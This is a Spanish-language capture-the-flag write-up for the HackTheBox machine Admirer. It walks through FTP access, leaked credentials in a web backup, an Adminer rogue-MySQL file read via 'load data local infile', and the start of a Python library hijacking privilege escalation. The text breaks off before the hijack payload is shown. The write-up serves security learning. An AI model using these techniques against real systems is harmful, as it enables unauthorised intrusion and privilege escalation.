Admirer de HTB. En la pagina web encontramos credenciales que dieron acceso al servicio FTP, en este ultimo vemos el codigo fuente dentro de un “backup” el cual nos guió y dio acceso a la base de datos Admirer, misma que conectamos a nuestra maquina para explotar una vulnerabilidad que nos dio acceso a la maquina. Realizando Python Library Hijacking obtuvimos acceso como root.
kali@kali:~/htb/admirer$ ftp admirer.htb
Connected to admirer.htb.
220(vsFTPd 3.0.3)Name (admirer.htb:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x--- 201114096 Dec 032019 .
drwxr-x--- 201114096 Dec 032019 ..
-rw-r--r-- 1003405 Dec 022019 dump.sql
-rw-r--r-- 1005270987 Dec 032019 html.tar.gz
226 Directory send OK.
ftp> pwd257"/" is the current directory
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (1.8346 MB/s)ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 7.27 secs (707.7599 kB/s)ftp>
El archivo dump.sql no tiene nada interesante, el archivo html.tar.gz contiene el codigo fuente de la pagina que se muestra en el puerto 80.
1
2
3
4
5
6
7
8
9
10
drwxr-xr-x 6 kali kali 4.0K Sep 14 18:20 .
drwxr-xr-x 3 kali kali 4.0K Sep 14 18:25 ..
drwxr-x--- 6 kali kali 4.0K Jun 62019 assets
-rw-r--r-- 1 kali kali 3.4K Sep 14 18:18 dump.sql
-rw-r--r-- 1 kali kali 5.1M Sep 14 18:18 html.tar.gz
drwxr-x--- 4 kali kali 4.0K Dec 22019 images
-rw-r----- 1 kali kali 4.6K Dec 32019 index.php
-rw-r----- 1 kali kali 134 Dec 12019 robots.txt
drwxr-x--- 2 kali kali 4.0K Dec 22019 utility-scripts
drwxr-x--- 2 kali kali 4.0K Dec 22019 w4ld0s_s3cr3t_d1r
Entre los archivos, encontramos varias contraseñas de waldo, además de ello vemos una carpeta nueva utility-scripts en la cual se encuentra una pagina que se muestran las tareas que se encuentran en /opt/scripts/admin_tasks.sh. Tambien vemos 4 opciones que “no estan disponibles”.
<html><head><title>Administrative Tasks</title></head><body><h3>Admin Tasks Web Interface (v0.01 beta)</h3><?php// Web Interface to the admin_tasks script
//
if(isset($_REQUEST['task'])){$task=$_REQUEST['task'];if($task=='1'||$task=='2'||$task=='3'||$task=='4'||$task=='5'||$task=='6'||$task=='7'){/***********************************************************************************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)
NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************************************************************************************/echostr_replace("\n","<br />",shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));}else{echo("Invalid task.");}}?><p><h4>Select task:</p><formmethod="POST"><selectname="task"><optionvalue=1>View system uptime</option><optionvalue=2>View logged in users</option><optionvalue=3>View crontab</option><optionvalue=4disabled>Backup passwd file</option><optionvalue=5disabled>Backup shadow file</option><optionvalue=6disabled>Backup web data</option><optionvalue=7disabled>Backup database</option></select><inputtype="submit"></form></body></html>
En este punto ya no encontramos nada interesante en la pagina ya que algunos archivos fueron reemplazados con mejores opciones como db_admin.php en el que indica que implementaron una mejor alternativa de codigo abierto:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php$servername="localhost";$username="waldo";$password="Wh3r3_1s_w4ld0?";// Create connection
$conn=newmysqli($servername,$username,$password);// Check connection
if($conn->connect_error){die("Connection failed: ".$conn->connect_error);}echo"Connected successfully";// TODO: Finish implementing this or find a better open source alternative
?>
Utilizamos nuevamente GOBUSTER para realizar una busqueda pero esta vez en utility-scripts.
Encontramos a Adminer una herramienta para administrar bases de datos donde logramos ver el login.
Intenamos utilizar las credenciales que encontramos en el “backup” de la pagina web pero ninguno funciono. Exploramos las vulnerabilidades de Adminer y encontramos que es posible conectar una base de datos externa y con esta conexion leer archivos de la maquina. Lo primero que hay que realizar es configurar una base de datos en nuestra maquina en MySQL.
1
2
3
4
5
6
7
8
9
10
11
12
13
#DatabaseCREATE DATABASE sckull;USE sckull;#Tablecreate TABLE file(data varchar(1000));#UserCREATE USER 'sckull'@'%' IDENTIFIED BY 'sckull';GRANT ALL PRIVILEGES ON *.* TO 'sckull'@'%';FLUSH PRIVILEGES;#Test mysql -h 10.10.10.10 -u sckull -p sckull
Luego de ello debemos de conectarnos a nuestra base de datos utilizando Adminer con las credenciales, la IP de nuestra maquina y nombre de la base de datos que creamos.
Ejecutamos un query para ralizar la lectura del archivo admirer.php y vemos su codigo fuente.
1
2
3
load data local infile 'admirer.php'
into table file
fields terminated by '\n'
Despues de realizar una enumeracion logramos obtener algunas credenciales del archivo index.php.
Utilizamos estas credenciales en el servicio ssh y logramos obtener una shell y nuestra flag user.txt.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos para ejecutar el comando /opt/scripts/admin_tasks.sh.
El archivo admin_tasks.sh realiza un backup de diferentes archivos como /etc/passwd, /etc/shadow, pero algo interesante es de que realiza la ejecucion de un script en python.
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bashbackup_web(){if["$EUID"-eq0]thenecho"Running backup script in the background, it might take a while..."/opt/scripts/backup.py&elseecho"Insufficient privileges to perform the selected operation."fi}
En este script logramos ver que importa la libreria shutil especificamente una de sus funciones make_archive().
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3fromshutilimportmake_archivesrc='/var/www/html/'# old ftp directory, not used anymore#dst = '/srv/ftp/html'dst='/var/backups/html'make_archive(dst,'gztar',src)
Vamos a realizar Python Library Hijacking al igual que en THM - Ghizer pero con una shell diferente y utilizando la variable PYTHONPATH ya que no tenemos permisos en la carpeta donde estan estos scripts y es necesario para ejecutar el comando.
Creamos el archivo en /dev/shm/, puede ser en cualquier otra carpeta con permisos de escritura: